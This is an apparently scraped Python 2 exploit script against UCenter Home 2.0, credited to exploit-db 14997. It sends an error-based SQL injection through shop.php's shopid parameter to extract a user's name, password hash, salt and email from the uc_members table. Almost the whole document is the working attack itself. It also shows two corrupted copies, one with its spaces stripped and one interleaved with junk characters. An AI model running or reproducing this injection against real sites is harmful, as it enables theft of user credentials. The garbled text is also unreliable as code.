#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl7 Y$ e8 y) F" Z, d
) d" y/ n7 v& @3 _( q
* h3 \5 J2 W# r/ a9 x#!/usr/bin/env python 8 g7 g# z$ m2 j* W
. I4 S& X/ s m
import sys
7 q! C1 Z6 N, B" ]import urllib2 % \- ^; _. h8 W. h# b7 Q8 T& z% q
import re $ C8 Y" {( r' F+ N/ h, c0 k
' ^; t( E; g) U
def info():
+ _4 a+ A, g; t" _& }& x/ Y' [ print 'From:http://www.exploit-db.com/exploits/14997/'
) Y! d/ q# P, _8 Z% _3 D print 'http://www.hake.cc/Web_loudong/'
+ K# z" b: o9 G3 n# \0 G print 'changed:qiaoy' 5 X8 R- _* @( I
print 'exp:' 3 W, c4 a& y5 }$ u) B$ t8 ]
print ' ./UCenter_Home_2.0.py site' # G% I4 X( @2 u9 L1 m# ~6 S9 y4 t3 A
' r0 |% m; P/ j* m# X) m4 T" R4 ~
def main():
4 u7 g( c% h; x5 ^) N: F if len(sys.argv) != 2: 7 g3 U" H6 V( r- l; _
info() ! H5 r6 w! p! O/ p
else:
& k9 o" I3 ]2 F' ]6 d; o site = sys.argv[1]
+ l9 y0 ^- A5 D if site[0:7] == 'http://': " G' X: [2 K9 O- d, [
sitesite =site * l3 |/ t2 ?! Q1 ^, g _% H
elif site[0:8] == 'https://': 2 `; F: u8 k5 ?0 t2 Z4 I
sitesite = site
. q- M: L( m2 A4 Q$ c0 ^ else: 7 }% @7 \$ [8 k& z, R9 D
site = 'http://'+site
; Z8 v7 L, ~5 P, ` try:
7 V7 A9 u7 x. G2 b2 ]% L6 g# I url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
" x% N3 R' R' ~: K% P Value = urllib2.urlopen(url).read()
9 k2 T$ R. e; d( S2 L: M6 U8 o9 z Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0] - Y) k6 }& t6 ?9 Z$ I5 }
hacked = Msg.split(':') ' x1 q# n2 @7 i# K* Z
print 'Name: '+hacked[1] 3 X1 r2 v* V$ u. i0 @# x( K
print 'Passwd: '+hacked[2]
8 W6 z; i) |7 S: _ print 'salt: '+hacked[3] w% X/ o0 t' f. o: P0 A- J8 b% a
print 'email: '+hacked[4] ) E' Z% x5 s: Y4 C( Z
except: - s4 V; Y' m+ X- E
print 'Sorry,I can\'t work............'
+ ~; r0 k. M1 K' G8 a. t1 X 0 n$ x" c5 N$ C" l3 G
if __name__ == '__main__': 4 {: L' p1 W* G# K/ B
main() |